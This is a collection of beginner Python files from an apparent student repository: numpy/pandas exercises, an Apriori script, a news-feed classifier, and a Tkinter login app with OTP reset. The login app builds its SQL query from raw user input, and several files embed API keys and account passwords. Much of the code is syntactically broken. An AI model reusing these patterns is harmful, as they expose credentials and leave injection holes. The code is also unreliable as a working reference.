a1+1\r\ncount(a)\r\nnp.count_nonzero(a)\r\n#3.Write a function for cumilative addition\r\ndef addition(x):\r\n sum = 0\r\n for i in range(0,len(x)):\r\n sum = sum+x[i]\r\n print sum\r\n #return sum\r\n #yield sum\r\n\r\naddition([1,2,3,4,5])\r\n\r\n#4.rewrite lambda into regular function\r\ndef squareValue(x):\r\n x = x**2\r\n return x\r\n \r\nsquareValue(4)\r\n \r\n\r\n#5.find the second largest number\r\nb1 = [ 9, 61, 2, 79, 58, 87, 68, 83, 61, 13]\r\nb1.sort()\r\nb1[len(b1)-2]\r\n\r\n#6.create a matrix\r\na1 = np.arange(1,101).reshape((10,10))\r\n#\r\n#6.c\r\na1[4:,] #will print all values from 4th row\r\n#with this we can come to know mean of each rows\r\nb1= py.DataFrame(a1)\r\nlen(b1[:,1])#return number of columns\r\nnp.shape(b1)#gives number of rows and columns\r\nb1.describe()#describes the data\r\n#find mean of each column and row\r\nnp.mean(b1,axis=0)\r\nnp.mean(b1,axis=1)\r\n#7create a data frame and perform some operations\r\ndf5 = py.DataFrame({\"4h\":[.12,.01,.03,.05],\"12h\":[.08,.07,.04,.09],\"24h\":[.06,.11,.04,.11],\"48h\":[.02,.09,.02,.14]},index = [\"A2M\",\"FOS\",\"BRCA\",\"CPOX\"])\r\ndf5.index([\"A2M\",\"FOS\",\"BRCA\",\"CPOX\"])\r\nnp.asarray(df5)#convert it into array\r\nx1 = np.mean(df5,axis = 0)#calculate mean based on row\r\n\r\nx2 = np.mean(df5,axis = 1)#calculate mean based on column\r\nx3 = np.max(x2) #max value of column\r\nx4 = py.DataFrame(x2)#\r\ntype(x2)\r\nx4.sort(0)#sort the sum values in ascending order\r\n\r\n\r\n \r\n \r\n " }, { "alpha_fraction": 0.5598935484886169, "alphanum_fraction": 0.6379769444465637, "avg_line_length": 20.540000915527344, "blob_id": "dea6444f958686beea45c138cb8ad88b287abef8", "content_id": "a8ed5aa5a63a4db3849734d4c9ed26538737cddc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1127, "license_type": "no_license", "max_line_length": 64, "num_lines": 50, "path": "/NumpyAssingment2.py", "repo_name": "vigneshwart1191/PythonCodes", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Feb 21 22:02:26 2017\r\n\r\n@author: vignesht\r\n\"\"\"\r\n\r\n#Numpy assingment\r\n#create 2d array using numpy\r\nimport numpy as np\r\na1 = np.array([[1,2,3,4],[5,6,7,8]],dtype=int)\r\nnp.shape(a1[0])\r\nnp.shape(a1[1])\r\nnp.shape(a1)\r\n\r\n#display row sum and column sum of the matrix\r\nprint np.sum(a1,axis=0) #gives sum for row\r\nprint np.sum(a1,axis=1) #gives sum for column\r\n\r\n#crete 3*3 matrix using arange\r\na2 = np.matrix(np.arange(9).reshape((3,3)));\r\n\r\n#matrix to find out odd and even\r\na3 = [0,1,2,3,4,5,6,7,8,9]\r\na4 = []\r\n#a4.append([0,1])\r\na5 =[]\r\nfor i in range(0,len(a3)):\r\n if(a3[i] % 2 == 0):\r\n a4.append(a3[i])\r\n else:\r\n a5.append(a3[i])\r\nprint a4 #prints only odd number\r\nprint a5 #prints only even number\r\n\r\n#create 3*3 matrix and find determinent,inverse and eigen values\r\na5 = np.matrix(np.arange(9,18,1).reshape((3,3)))\r\nprint np.linalg.det(a5)\r\nprint np.linalg.inv(a5)\r\nprint np.linalg.eig(a5)\r\n\r\n\r\n#demonstrate statistical function by creating 20 random values\r\na6 = np.random.rand(20)\r\nnp.mean(a6)\r\nnp.median(a6)\r\nnp.std(a6)\r\nnp.var(a6)\r\nnp.min(a6)\r\nnp.max(a6)\r\n" }, { "alpha_fraction": 0.525073766708374, "alphanum_fraction": 0.5988200306892395, "avg_line_length": 16.94444465637207, "blob_id": "73cd369487b56de93f1b6063ef2ccc02fa610c75", "content_id": "8cd70c3e99805e437eba1c9525da56b82f274471", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 339, "license_type": "no_license", "max_line_length": 59, "num_lines": 18, "path": "/Ba.py", "repo_name": "vigneshwart1191/PythonCodes", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Feb 23 14:13:20 2017\r\n\r\n@author: vignesht\r\n\"\"\"\r\n\r\na=5\r\nb=5\r\nc=5\r\nif(a=b and a=c):\r\n\tprint \"equilateral triangle\"\r\nelseif(a=b or a=c or b=c):\r\n\tprint \"Isosceles triangle\r\nelseif(a^2 +b^2 = c^2 or c^2+b^2 = a^2 or a^2 + c^2= b^2):\r\n\tprint \"Right angle traingle\"\r\nelse:\r\n\tprint \"Scalene triangle\"" }, { "alpha_fraction": 0.6759493947029114, "alphanum_fraction": 0.7126582264900208, "avg_line_length": 24.399999618530273, "blob_id": "222659151b2aa9492695cccdaa5e1bb53d70d0f6", "content_id": "61c919a47cced854419e4350e75f6819a2faf000", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 790, "license_type": "no_license", "max_line_length": 89, "num_lines": 30, "path": "/Apriori.py", "repo_name": "vigneshwart1191/PythonCodes", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jun 13 15:18:59 2017\r\n\r\n@author: vignesht\r\n\"\"\"\r\n\r\n#Apriori Algorithm\r\n#For this need to have apyori function code can be taken from python\r\n\r\n#import the packages\r\nimport numpy as np\r\nimport pandas as pa\r\nimport matplotlib.pyplot as py\r\n\r\n#import the datset\r\ndataset = pa.read_csv(\"Market_Basket_Optimisation.csv\",header = None)\r\n\r\n#Apriori algorith will take data as list only so conver dataframe into list\r\ntransacions = []\r\nfor i in range(0,7501):\r\n transacions.append([str(dataset.values[i,j]) for j in range(0,20)])\r\n \r\n \r\n#Generate a apriori algorithm for associate rules\r\nfrom apyori import apriori\r\nrules = apriori(transacions,min_support=0.003,min_confidence=0.2,min_lift=3,min_length=2)\r\n\r\n#Form a rules\r\nresults = list(rules)" }, { "alpha_fraction": 0.6191768646240234, "alphanum_fraction": 0.6576209664344788, "avg_line_length": 29.00467300415039, "blob_id": "69b2abd541be37e65129091b8cf47e24bee92a4e", "content_id": "12ad2c1013e116808627a4b1d8d8b83e3e59c620", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6633, "license_type": "no_license", "max_line_length": 128, "num_lines": 214, "path": "/NewsFeed.py", "repo_name": "vigneshwart1191/PythonCodes", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Jun 26 15:30:35 2017\r\n\r\n@author: vignesht\r\n\"\"\"\r\n\r\n#IMPORT THE PACKAGES\r\nimport requests\r\nimport pandas as pd\r\nimport json\r\npd.set_option('display.max_colwidth', 200)\r\n\r\n\r\n#Api connecting with pocet for news feed\r\nauth_params = {'consumer_key':'68152-f3fce122267d8d0f3ae4051a','redirect_uri':'https://twitter.com/packtsandhyo'}\r\ntkn = request.post('https://getpocket.com/v3/oauth/request',data = auth_params)\r\ntkn.content\r\n\r\n#consumer key user authentication\r\nusr_params = {'consumer_key':'68152-f3fce122267d8d0f3ae4051a','code':'14fbe71-51bd-960f-5ad1-2183e3'}\r\nusr = requests.post('https://getpocket.com/v3/oauth/request',data = usr_params)\r\nusr.content\r\n\r\n#Access token\r\nno_params = {'consumer_key':'68152-f3fce122267d8d0f3ae4051a','access_token':'871e6e46-d047-2fd3-79a8-01a1a4','tag':'n'}\r\nno_result = request.postr('https://getpocket.com/v3/get',data = no_params)\r\nno_result.text\r\n\r\n#Laod json data and append in list\r\nno_jf = json.loads(no_result.text)\r\nno_jd = no_jf['list']\r\nno_urls=[]\r\nfor i in no_jd.values():\r\n no_urls.append(i.get('resloved_url'))\r\nno_urls\r\n\r\n\r\n#Convert list into dataframe which has two colums one is website and whether we are intrested to read or not\r\n#NO data\r\nno_uf = pd.DataFrame(no_urls,columns=['urls'])\r\nno_uf = no_uf.assign(wanted = lambda x:'n')\r\nno_uf\r\n\r\n#Access token\r\nyes_params = {'consumer_key':'68152-f3fce122267d8d0f3ae4051a','access_token':'871e6e46-d047-2fd3-79a8-01a1a4','tag':'y'}\r\nyes_result = request.postr('https://getpocket.com/v3/get',data = no_params)\r\nyes_result.text\r\n\r\n#Laod json data and append in list\r\nyes_jf = json.loads(yes_result.text)\r\nyes_jd = no_jf['list']\r\nyes_urls=[]\r\nfor i in yes_jd.values():\r\n yes_urls.append(i.get('resloved_url'))\r\nyes_urls\r\n\r\n\r\n#Convert list into dataframe which has two colums one is website and whether we are intrested to read or not\r\n#NO data\r\nyes_uf = pd.DataFrame(yes_urls,columns=['urls'])\r\nyes_uf = no_uf.assign(wanted = lambda x:'n')\r\nyes_uf\r\n\r\n#yes data frame\r\nyes_uf = pd.DataFrame(no_urls,columns=['urls'])\r\nyes_uf = no_uf.assign(wanted = lambda x:'n')\r\nyes_uf\r\n\r\n#Concat both yes and no data for preperation of model\r\ndf = pd.concat([yes_uf,no_uf])\r\ndf.dropna(inplace=1)\r\ndf\r\n\r\n#Using the embed.ly API to download story bodies\r\nimport urllib\r\ndef get_html(x):\r\n qurl = urllib.parse.quote(x)\r\n rhtml=requests.get('https://api.embedly.com/1/extract?url=' + qurl +'&key=some_api_key')\r\n ctnt=json.loads(rhtml.text).get('content')\r\n return ctnt\r\n df.loc[:,'html'] = df['urls'].map(get_html)\r\n df.dropna(inplace=1)\r\n df\r\n\r\n\r\n#Improt beautiful soup package\r\nfrom bs4 import BeautifulSoup\r\ndef get_text(x):\r\n soup = BeautifulSoup(x,'lxml')\r\n text = soup.get_text()\r\n return text\r\n zf.loc[:,'text'] = zf['html'].map(get_text)\r\n zf\r\n\r\n\r\n#Natural Langauage processing \r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\nvect = TfidfVectorizer(ngram_range = (1,3),stop_words = 'english',min_df=3)\r\ntv = vect.fit_transform(df['text'])\r\n\r\n#Apply svm on the data\r\nfrom sklearn.svm import LinearSVC\r\nclf = LinearSVC\r\nmodel = clf.fit(tv,df['wanted'])\r\n\r\n#Integration with feeds,google sheets and email\r\nimport json\r\nimport gspread\r\nfrom oauth2client.service_account import ServiceAccountCredentials\r\n\r\nscope = ['https://spreadsheets.google.com/feeds']\r\ncredentials = ServiceAccountCredentials.from_json_keyfile_name(r'C:\\Users\\Vignesh\\Downloads\\My Project-1cdc0bbf95f6.json',scope)\r\ngc = gspread.authorize(credentials)\r\n\r\n\r\nws = gc.open(\"NewStories\")\r\nsh = ws.shhet1\r\nzd = list(zip(sh.col_values(2),sh.col_values(3),sh.col_values(4)))\r\nzf = pd.DataFrame(zd,columns=['title','urls','html'])\r\nzf.replace('',pd.np.nan,inplace=True)\r\nzf\r\n\r\n\r\n#Transforming data\r\nzf.loc[:,'text'] = zf['html'].map(get_text) \r\nzf.reset_index(drop = True,inplace=True)\r\ntest_matrix = vect.transform(zf['text'])\r\ntest_matrix\r\n\r\n#store the result in data frame\r\nresults = pd.DataFrame(model.predict(test_matrix),columns=['wanted'])\r\n\r\n\r\n#Merge the data\r\nrez = pd.merge(results,zf,left_index = True,right_index = True)\r\nrez\r\n\r\n\r\n#change to yes and no \r\nchange_to_no = [130,145,148,163,178,199,219,222,223,226,235,279,348,357,427,440,542,544,546]\r\nchange_to_yes = [0,9,29,35,42,71,110,190,319,335,344,371,385,399,408,409,422,472,520,534]\r\n\r\nfor i in rez.iloc[chenge_to_yes].index:\r\n rez.iloc[i]['wanted'] = 'y'\r\nfor i in rez.iloc[chenge_to_no].index:\r\n rez.iloc[i]['wamted'] = 'n'\r\nrez\r\n\r\ncomdined = pd.concat([df[['wanted','text']],rez[['wanted','text']]])\r\ncombined\r\n\r\n\r\n#FIt the data in model\r\ntvcomb = vect.fit_transform(combined['text'], combined['wanted'])\r\nmodel = clf.fit(tvcomb,combined['wanted'])\r\n\r\n#import the pickel\r\nimport pickle\r\npickle.dump(model,open(r'C:\\Users\\vignesht\\news_model_pickle.p','wb'))\r\npickle.dump (vect,open(r'C:\\Users\\vignesht\\news_model_pickle.p','wb'))\r\n\r\n\r\n#create a function to fetch news and show in mail as impotant news\r\ndef ftech_news():\r\n try:\r\n vect = pickle.load(model,open(r'C:\\Users\\vignesht\\news_model_pickle.p','wb'))\r\n model = pickle.load (vect,open(r'C:\\Users\\vignesht\\news_model_pickle.p','wb'))\r\n \r\n scope = ['https://spreadsheets.google.com/feeds']\r\n credentials = ServiceAccountCredentials.from_json_keyfile_name(r'C:\\Users\\vignesht\\downlaods\\myproject)\r\n gc = gspread.authorize(credentials)\r\n \r\n ws=gc.open(\"NewStories\")\r\n sh = ws.sheet1\r\n zd = list(zip(sh.col_values(2),sh.col_values(3),sh.col_values(4)))\r\n zf = pd.DataFrame(zd,columns = ['title''urls','html'])\r\n zf.replace('',pd.np.nam,inplace = True)\r\n zf.dropna(inplace = True)\r\n \r\n def get_text(x):\r\n soup = BeautifulSoup(x,'lxml')\r\n text = soup.get_text()\r\n return text\r\n zf.loc[:,'text'] = zf['html'].map(get_text)\r\n \r\n tv = vect.fit_transform(df['text'])\r\n res = model.predictor(tv)\r\n \r\n rf = pd.DataFrame(res,columns = ['wanted'])\r\n rez = pd.merge(rf,zf,left_index=True,right_index=True)\r\n \r\n news_str = ''\r\n for t,u in zip(rez[rez['wanted']=='y']['title'],rez[rez['wanted']=='y']['urls']):\r\n news_str = news_str +t + '\\n' +u + '\\n'\r\n \r\n payload = {\"value1\" : news_str}\r\n r = requests.post('https://maker.ifttt.com/trigger/news_event/with/key/cZjkYp5rzvtZubasgskdhi',data = payload)\r\n \r\n #clean up worksheet\r\n lenv = len(sh.col_values(1))\r\n cell_list = sh.range('A1:F' + str(lenv))\r\n for cell in cell_list:\r\n cell.value = \"\"\r\n sh.update_cells(cell_list)\r\n \r\n print(r.text)\r\n \r\n except:\r\n print('Failed')\r\n\r\nschedule.every(60).minutes.do(fetch_news)\r\n\r\nwhile 1:" }, { "alpha_fraction": 0.5235456824302673, "alphanum_fraction": 0.5975465178489685, "avg_line_length": 20.85321044921875, "blob_id": "123ccfd2a113c8950c1326a9a66081d684510cd3", "content_id": "dfe236da81a92432ad28325ce789bf7c70374427", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2527, "license_type": "no_license", "max_line_length": 84, "num_lines": 109, "path": "/PandasClassNotes.py", "repo_name": "vigneshwart1191/PythonCodes", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Jan 30 11:01:44 2017\r\n\r\n@author: vignesht\r\n\"\"\"\r\n\r\n#class4\r\n#Padas\r\n#pandas is used to perform data frame in r\r\nimport pandas as py\r\nimport numpy as np\r\n#two data structures in pandas\r\n #1.series->1-d array ,2.dataframe->2-d array\r\n\r\n#series usage and can be passed in all list,tuple and dataframe\r\ns = [1,2,3,4,5]\r\ni = ['a','b','c','d','e']\r\ns1 = py.Series(s,index = i)\r\ns2 = (1,2,3,4,5)\r\ns3=py.Series(s2)\r\ns4 = {\"Z\":\"1\",\"Name\":\"Vigneshwar\",\"Lname\":\"Thiyagarajan\",\"Age\":20}\r\ns5 = py.Series(s4)\r\ns6= ['b','c','a']\r\ns7 = py.Series(s6)\r\n\r\n#dataframe\r\ns = [1,2,3,4]\r\ni = ['a','b','d','e']\r\n\r\ns5 = py.DataFrame(s,i)\r\ns5['age'] = 20\r\ns5.columns=['num','char']\r\n\r\n#data frame\r\ndf = pa.DataFrame({'A':[1,2,3,4],'b':[10,20,30,40],'c':[-1,-2,-3,-4]})\r\ndf\r\ndf.index = ['a','b','c','d']\r\n\r\n#date which is known as time series\r\ndates = py.date_range('20170101',periods = 10,freq = 'M')\r\ndf1 = py.DataFrame(np.random.randn(10,4),index=dates,columns=list('ABCD'))\r\ndf1.head(n=2)\r\ndf1.tail(n=2)\r\ndf1.describe()\r\ndf1[1:3]\r\ndf.loc[0:2] #deals with label indexes\r\ndf.iloc[0:2] #iloc deals with python indexes\r\ndf.ix[0:2,0:2] #deals with lables which takes upto lables\r\n\r\n\r\n#group by columns\r\ndf2 = py.DataFrame({'A':[1,1,1,2,2,2,3,3,4,5,5,5],'B':[1,2,3,4,5,6,7,8,9,10,11,12]})\r\ndf2.groupby('A').sum()\r\n\r\n#import csv files\r\nglass = py.read_csv('C:/Users/vignesht/Downloads/glass.csv')\r\n\r\nimport html5lib as ht\r\n#import html file\r\nhtml1 = py.read_html('http://www.w3schools.com/html/html_tables.asp')\r\n\r\n\r\n\r\n#class5\r\ndf3 = py.DataFrame({\"Paris\":[0,3,6],\"Berlin\":[1,7,4],\"Madrid\":[2,5,8]})\r\ndf3.index = ['a','b','c']\r\n\r\n#slicing data through ix\r\ndf3.ix[0:2,0:2]\r\ndf3.ix[:,\"Berlin\"]\r\ndf3.ix[\"a\",:]\r\ndf3.loc[\"a\",:]\r\ndf3.iloc[0:2,0:2]\r\n#sorting based on index\r\ndf3.sort_index(by='Madrid')\r\ndf3.sort_index(axis = 0,ascending = False)\r\ndf3.sort_index(axis = 1,ascending = False)\r\ndf3.drop(\"Berlin\",axis = 1)\r\n\r\n\r\n#Compuing statistics\r\ndf3.describe() #to summarize the data\r\ndf3.corr() #to find correlation\r\ndf3.T #transpose rows into columns\r\ndf3.cov()#covariance\r\n\r\nimport math\r\n#apply map usage \r\nf = lambda x:np.sqrt(x)\r\ndf3.applymap(f)\r\ndf3.Berlin = df3['Berlin'].map(f)\r\n\r\n\r\n#concatination on series\r\ns1=py.Series(np.arange(0,3))\r\ns2 = py.Series(np.arange(4,7))\r\ns3 = py.concat([s1,s2],1)\r\ns3.index = [\"a\",\"b\",\"c\",\"d\",\"e\",\"f\"]\r\ntype(s3)\r\n\r\ntype(np.arange(1,4))\r\ntype(range(1,4))\r\n\r\n\r\n######################\r\n###Data Munging\r\ndata = [1,2, ,3, ,4]\r\ndata.isnull()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.5859509110450745, "alphanum_fraction": 0.6573386788368225, "avg_line_length": 35.212764739990234, "blob_id": "3002f63aa77be8ca3911b671fcfc301e022dedb1", "content_id": "da5d658fdae60d5b40f6d1b2c2ada726d219e79d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1751, "license_type": "no_license", "max_line_length": 191, "num_lines": 47, "path": "/PandasAssingment2.py", "repo_name": "vigneshwart1191/PythonCodes", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Feb 21 23:21:05 2017\r\n\r\n@author: vignesht\r\n\"\"\"\r\n\r\n#pandas assingment\r\n#1.Create pandas using dictionary and selct data only if marks are greater than 60\r\nimport pandas as pa\r\nb5=pa.DataFrame({'Name':['Raj','Mike','saif','Abdul','Arun','Bhairav'],'Maths':[65,67,55,76,76,56],'Physics':[67,90,89,78,99,56],'chemistry':[65,65,65,66,56,78]})\r\nprint b5[(b5.Maths > 60)&(b5.Physics > 60)&(b5.chemistry > 60)]\r\n\r\n#2Create data frame ad display values based on cat where we will be using group by option\r\nb6 = pa.DataFrame({'Adult':[False,False,False,False,False,True,True],'Animal':['cat','dog','cat','fish','dog','cat','cat'],'Size':['S','S','M','M','M','L','L'],'Weight':[8,10,11,1,20,12,12]})\r\nprint b6.groupby('Animal').sum()\r\n\r\n#3explain how .loc,.iloc and .ix works\r\nb6.loc[0:4] #works based on naming on index\r\nb6.iloc[0:4] #works based on python index\r\nb6.ix[0:4]#works based on both index and naming\r\n\r\n#4.Demonstarte join,merge,append on two data fraemes\r\nc1 = pa.DataFrame({\"Eid\":[1,2,3],\"Ename\":[\"Brijesh\",\"Prithik\",\"Rafiur\"],\"Did\":[10,30,50]})\r\nc2=pa.DataFrame({\"Did\":[10,30,40],\"Dname\":[\"IPF\",\"HR\",\"TIS\"]})\r\nprint c1.join(c2,how ='left')\r\nc1.join(c1,c2)\r\n\"wlfgALGbXOahekxSs\".join([\"5\", \"9\", \"5\"])\r\npa.merge(c1,c2,'left')\r\npa.merge(c1,c2,'right')\r\nc1.append(c2)\r\n\r\n\r\n#data muging for sns data\r\nsnsdata = pa.read_csv(\"C:/Users/vignesht/Downloads/snsdata.csv\")\r\n#code to find null values in data set\r\nsnsdata.apply(lambda x: sum(x.isnull()),axis=0)\r\nsnsdata.head()\r\n\r\n#how to replace Na value with mean\r\nsnsdata[\"age\"].fillna(snsdata[\"age\"].mean(),inplace=True)\r\nsnsdata[\"age\"].head(15)\r\n\r\n\r\n#how to replace Na value with mean\r\nsnsdata[\"gender\"].fillna(\"F\",inplace=True)\r\nsnsdata[\"gender\"].head(15)\r\n\r\n" } ]
19
SRD2705/Student-Database
https://github.com/SRD2705/Student-Database
4163d1d15c67f0acf1e2b99a63136a60eb92f736
41aca394987d2e3c4d795feaab6ce178bb337815
f959b2725b65e55953992148e0147dbf3c5b7e7b
refs/heads/main
2023-05-23T09:24:28.661271
2021-06-07T08:49:39
2021-06-07T08:49:39
374,595,458
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8222222328186035, "alphanum_fraction": 0.8222222328186035, "avg_line_length": 44, "blob_id": "116a7704a881137c297b8499d35dff9a41fdfe71", "content_id": "b405b2a2b5ca7682ee73211c3323d4a45364df54", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 45, "license_type": "no_license", "max_line_length": 44, "num_lines": 1, "path": "/ID cards/readme.md", "repo_name": "SRD2705/Student-Database", "src_encoding": "UTF-8", "text": "In this folder all generated ID cards stores\n" }, { "alpha_fraction": 0.5642624497413635, "alphanum_fraction": 0.5896695852279663, "avg_line_length": 53.267677307128906, "blob_id": "e3535ab2b2732cf9ba8bd199f34c3771d92d8f7e", "content_id": "a53a1c1d12182f85e7c9068c40b61b15bbf8888a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10745, "license_type": "no_license", "max_line_length": 210, "num_lines": 198, "path": "/login.py", "repo_name": "SRD2705/Student-Database", "src_encoding": "UTF-8", "text": "from tkinter import *\nfrom PIL import ImageTk\nfrom tkinter import messagebox\nimport pymysql\nimport os\nimport sys\nimport random\nimport smtplib\nimport time\nclass Login_system:\n def __init__(self,root):\n self.root = root\n self.root.title(\"Login Window\")\n self.root.geometry(\"1920x1080+0+0\")\n\n ################################# All images\n\n self.bg_icon = ImageTk.PhotoImage(file=\"images/bg.jpg\")\n self.user_icon=PhotoImage(file=\"images/username.png\")\n self.pass_icon=PhotoImage(file=\"images/pass.png\")\n self.logo_icon = PhotoImage(file=\"images/mainlogo.png\")\n self.email_icon = PhotoImage(file=\"images/mail.png\")\n self.otp_icon = PhotoImage(file=\"images/otp.png\")\n\n\n ############################################# Variables\n self.user_var=StringVar()\n self.pass_var = StringVar()\n self.forgot_email_var = StringVar()\n self.new_pass_var = StringVar()\n self.userotp_var = StringVar()\n self.originalotp_var = StringVar()\n self.otp_trylimit_var = 3\n self.strt_time_var = 0\n self.end_time_var = 0\n self.time_var = 0\n\n bg_label = Label(self.root,image=self.bg_icon).pack()\n\n title=Label(self.root,text=\"Login Panel\",font=(\"Times new roman\",40,\"bold\"),bg=\"grey14\",fg=\"yellow3\",bd=10,relief=GROOVE)\n title.place(x=0,y=0,relwidth=1)\n\n Login_Frame = Frame(self.root,bg=\"forest green\")\n Login_Frame.place(x=200,y=150)\n logo_lbl = Label(Login_Frame,image=self.logo_icon,bd=0).grid(row=0,columnspan=2,pady=20)\n\n user_lbl = Label(Login_Frame,text=\"Username\",image=self.user_icon,compound=LEFT,font=(\"times new roman\",20,\"bold\"),bg=\"forest green\").grid(row=1,column=0,padx=20,pady=10)\n txt_user = Entry(Login_Frame,bd=\"5\",textvariable=self.user_var,relief=GROOVE,font=(\"\",15)).grid(row=1,column=1,padx=20)\n\n pass_lbl = Label(Login_Frame, text=\"Password\", image=self.pass_icon, compound=LEFT,font=(\"times new roman\", 20, \"bold\"), bg=\"forest green\").grid(row=2, column=0, padx=20,pady=10)\n txt_pass = Entry(Login_Frame, bd=\"5\", show = \"*\",textvariable=self.pass_var,relief=GROOVE, font=(\"\", 15)).grid(row=2, column=1, padx=20)\n\n btn_login = Button(Login_Frame,text=\"Login\",width=15,command=self.login,font=(\"times new roman\",15,\"bold\"),bg=\"white\",fg=\"Blue\").grid(row=3,column=1,pady=10)\n btn_register = Button(Login_Frame, text=\"Register\", width=15, command=self.register,font=(\"times new roman\", 15, \"bold\"), bg=\"white\", fg=\"Blue\").grid(row=3, column=0, pady=10)\n btn_forgot = Button(Login_Frame, text=\"Forgot Password\", width=15, command=self.forgot_pass,font=(\"times new roman\", 15, \"bold\"), bg=\"white\", fg=\"Blue\").grid(row=4, columnspan=2,pady=10)\n\n\n\n\n def login(self):\n if self.user_var.get()==\"\" or self.pass_var.get()==\"\":\n messagebox.showerror(\"Error\",\"All fields are required\")\n else:\n con = pymysql.connect(host='localhost', user=\"root\", password=\"Rishi@2705\", database=\"stm\")\n cur = con.cursor()\n cur.execute(\"SELECT password FROM `admins` WHERE user='\" + str(self.user_var.get()) + \"'\")\n rows=cur.fetchone()\n if rows:\n # print(rows[0])\n # print(self.pass_var.get())\n if rows[0] == self.pass_var.get():\n self.root.destroy()\n import Student\n Student.Students()\n else:\n messagebox.showerror(\"Invalid\",\"Username and password did not match\")\n else:\n messagebox.showerror(\"Invalid\", \"Username and password did not match\")\n def register(self):\n self.root.destroy()\n os.system(\"python3 register.py\")\n\n def forgot_pass(self):\n self.otp_trylimit_var=3\n self.Forgot_Frame = Frame(self.root, bg=\"forest green\")\n self.Forgot_Frame.place(x=800, y=150)\n\n email_lbl = Label(self.Forgot_Frame, text=\"Email\", image=self.email_icon, compound=LEFT,font=(\"times new roman\", 20, \"bold\"), bg=\"forest green\").grid(row=1, column=0, padx=20,pady=10)\n txt_email = Entry(self.Forgot_Frame, bd=\"5\", textvariable=self.forgot_email_var, relief=GROOVE, font=(\"\", 15)).grid(row=1,column=1, padx=20)\n\n # new_pass_lbl = Label(self.Forgot_Frame, text=\"New password\", image=self.email_icon, compound=LEFT, font=(\"times new roman\", 20, \"bold\"), bg=\"forest green\").grid(row=2, column=0, padx=20, pady=10)\n # txt_new_pass = Entry(self.Forgot_Frame, bd=\"5\", textvariable=self.new_pass_var, relief=GROOVE, font=(\"\", 15)).grid(row=2, column=1, padx=20)\n\n btn_sendotp = Button(self.Forgot_Frame, text=\"Send OTP\", width=15, command=self.sendotp,font=(\"times new roman\", 15, \"bold\"), bg=\"white\", fg=\"Blue\").grid(row=3, column=1, pady=10)\n\n def sendotp(self):\n # self.Forgot_Frame.destroy()\n # self.Forgot_Frame = Frame(self.root, bg=\"forest green\")\n # self.Forgot_Frame.place(x=800, y=150)\n # otp_lbl = Label(self.Forgot_Frame, text=\"OTP\", image=self.otp_icon, compound=LEFT,font=(\"times new roman\", 20, \"bold\"), bg=\"forest green\").grid(row=3, column=0, padx=20,pady=10)\n # txt_otp = Entry(self.Forgot_Frame, bd=\"5\", textvariable=self.userotp_var, relief=GROOVE,font=(\"\", 15)).grid(row=3, column=1, padx=20)\n # btn_submitotp = Button(self.Forgot_Frame, text=\"Verify\", width=15, command=self.verifyotp,font=(\"times new roman\", 15, \"bold\"), bg=\"white\", fg=\"Blue\").grid(row=4,column=1,pady=10)\n # btn_back = Button(self.Forgot_Frame, text=\"Back\", width=10, command=self.back,font=(\"times new roman\", 15, \"bold\"), bg=\"white\", fg=\"Blue\").grid(row=4, column=0, pady=10)\n self.strt_time_var = time.time()\n if self.forgot_email_var.get() == \"\":\n messagebox.showerror(\"Error\",\"Please enter a email address\")\n else:\n con = pymysql.connect(host='localhost', user=\"root\", password=\"Rishi@2705\", database=\"stm\")\n cur = con.cursor()\n cur.execute(\"SELECT mail FROM `admins`\")\n rows = cur.fetchall()\n st = False\n for i in rows:\n if i[0] == self.forgot_email_var.get():\n st = True\n break\n if st == False:\n messagebox.showerror(\"Error\",\"Entered email address is not linked to any account\")\n self.forgot_email_var.set(\"\")\n else:\n self.Forgot_Frame = Frame(self.root, bg=\"forest green\")\n self.Forgot_Frame.place(x=800, y=150)\n otp_lbl = Label(self.Forgot_Frame, text=\"OTP\", image=self.otp_icon, compound=LEFT,font=(\"times new roman\", 20, \"bold\"), bg=\"forest green\").grid(row=3, column=0, padx=20,pady=10)\n txt_otp = Entry(self.Forgot_Frame, bd=\"5\", textvariable=self.userotp_var, relief=GROOVE,font=(\"\", 15)).grid(row=3, column=1, padx=20)\n btn_submitotp = Button(self.Forgot_Frame, text=\"Verify\", width=15, command=self.verifyotp,font=(\"times new roman\", 15, \"bold\"), bg=\"white\", fg=\"Blue\").grid(row=4,column=1,pady=10)\n btn_back = Button(self.Forgot_Frame, text=\"Back\", width=10, command=self.back,font=(\"times new roman\", 15, \"bold\"), bg=\"white\", fg=\"Blue\").grid(row=4, column=0, pady=10)\n\n vals = \"1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwwxyz\"\n self.originalotp_var = \"\"\n for i in range(6):\n self.originalotp_var += (random.choice(vals))\n subject = 'Reset password OTP'\n part1 = 'Hello user,'\n part2 = 'This is your otp for reset your password:'\n part3 = 'NOTE: This OTP is valid for 5 minute and you can attempt 3 times.'\n msg = f'Subject: {subject}\\n\\n{part1}\\n{part2}\\n{self.originalotp_var}\\n{part3}'\n s = smtplib.SMTP('smtp.gmail.com', 587)\n s.starttls()\n s.login(\"[email protected]\", \"Rishi@2705\")\n s.sendmail(\"[email protected]\", 